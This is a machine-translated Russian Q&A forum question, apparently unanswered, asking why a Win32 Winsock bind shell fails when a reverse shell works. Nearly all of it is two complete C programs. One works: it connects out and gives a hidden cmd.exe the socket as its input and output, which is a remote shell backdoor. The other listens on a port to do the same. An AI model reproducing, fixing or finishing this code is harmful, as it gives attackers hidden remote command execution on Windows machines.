Member 13265280 Ответов: 0

С Win32 интерфейса winsock привязки/обратная раковины с работе CreateProcess: разность между клиентом и сервером


Здравствуйте, я хотел бы получить bind/reverse shell с win32 winsock.

Вызвав CreateProcess с помощью STARTF_USESTDHANDLES, я получил обратную оболочку (режим клиента), как и ожидалось. Однако мне не удалось получить оболочку привязки (режим сервера) с тем же подходом.

В чем разница между клиентским режимом (обратная оболочка) и серверным режимом (оболочка привязки)? Как я могу получить оболочку привязки?

Ценю вашу помощь.
С уважением,

Что я уже пробовал:

Вот код для клиентского режима (обратная оболочка): он работал так, как ожидалось.

#include "stdafx.h"
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")

#define BUFFERLEN (1024)

int spawnShell(void *my_socket, char *my_cmd)
{
	STARTUPINFO s_info = { 0 };
	PROCESS_INFORMATION p_info;

	s_info.cb = sizeof(s_info);
	s_info.wShowWindow = SW_HIDE;
	s_info.dwFlags = STARTF_USESTDHANDLES;
	s_info.hStdInput = my_socket;
	s_info.hStdOutput = my_socket;
	s_info.hStdError = my_socket;

	CreateProcess(NULL, my_cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&s_info, &p_info);

	return 0;
}

int
main()
{
	WSADATA wsaData;
	struct sockaddr_in addr;
	SOCKET sock;

	int len;
	char data[BUFFERLEN];


	WSAStartup(MAKEWORD(2, 2), &wsaData);

	sock = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0);

	addr.sin_family = AF_INET;
	addr.sin_addr.s_addr = inet_addr("127.0.0.1");
	addr.sin_port = htons(22222);
	connect(sock, (SOCKADDR *)&addr, sizeof(addr));

	// send and receive test
	send(sock, "HELLO\n", 6, 0);
	len = recv(sock, data, BUFFERLEN, 0);
	data[len] = '\0';
	printf(data);

	spawnShell((void *)sock, "cmd");

	return 0;

}


А вот код для режима сервера (bind shell): он не работал.
#include "stdafx.h"
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define WIN32_LEAN_AND_MEAN

#include <windows.h>
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.lib")

#define BUFFERLEN (1024)

int spawnShell(void *my_socket, char *my_cmd)
{
	STARTUPINFO s_info = { 0 };
	PROCESS_INFORMATION p_info;

	s_info.cb = sizeof(s_info);
	s_info.wShowWindow = SW_HIDE;
	s_info.dwFlags = STARTF_USESTDHANDLES;
	s_info.hStdInput = my_socket;
	s_info.hStdOutput = my_socket;
	s_info.hStdError = my_socket;
	
	CreateProcess(NULL, my_cmd, NULL, NULL, TRUE, 0, NULL, NULL, (STARTUPINFO*)&s_info, &p_info);

	return 0;
}

int
main()
{
	WSADATA wsaData;
	SOCKET sock0;
	struct sockaddr_in addr;
	struct sockaddr_in client;
	SOCKET sock;

	int len;
	char data[BUFFERLEN];

	WSAStartup(MAKEWORD(2, 0), &wsaData);

	sock0 = socket(AF_INET, SOCK_STREAM, 0);

	addr.sin_family = AF_INET;
	addr.sin_port = htons(11111);
	addr.sin_addr.S_un.S_addr = INADDR_ANY;

	bind(sock0, (struct sockaddr *)&addr, sizeof(addr));

	listen(sock0, 5);

	len = sizeof(client);
	sock = accept(sock0, (struct sockaddr *)&client, &len);

	// send and receive test
	send(sock, "HELLO\n", 6, 0);
	len = recv(sock, data, BUFFERLEN, 0);
	data[len] = '\0';
	printf(data);

	spawnShell((void *)sock,"cmd");

	closesocket(sock);
	WSACleanup();

	return 0;
}

0 Ответов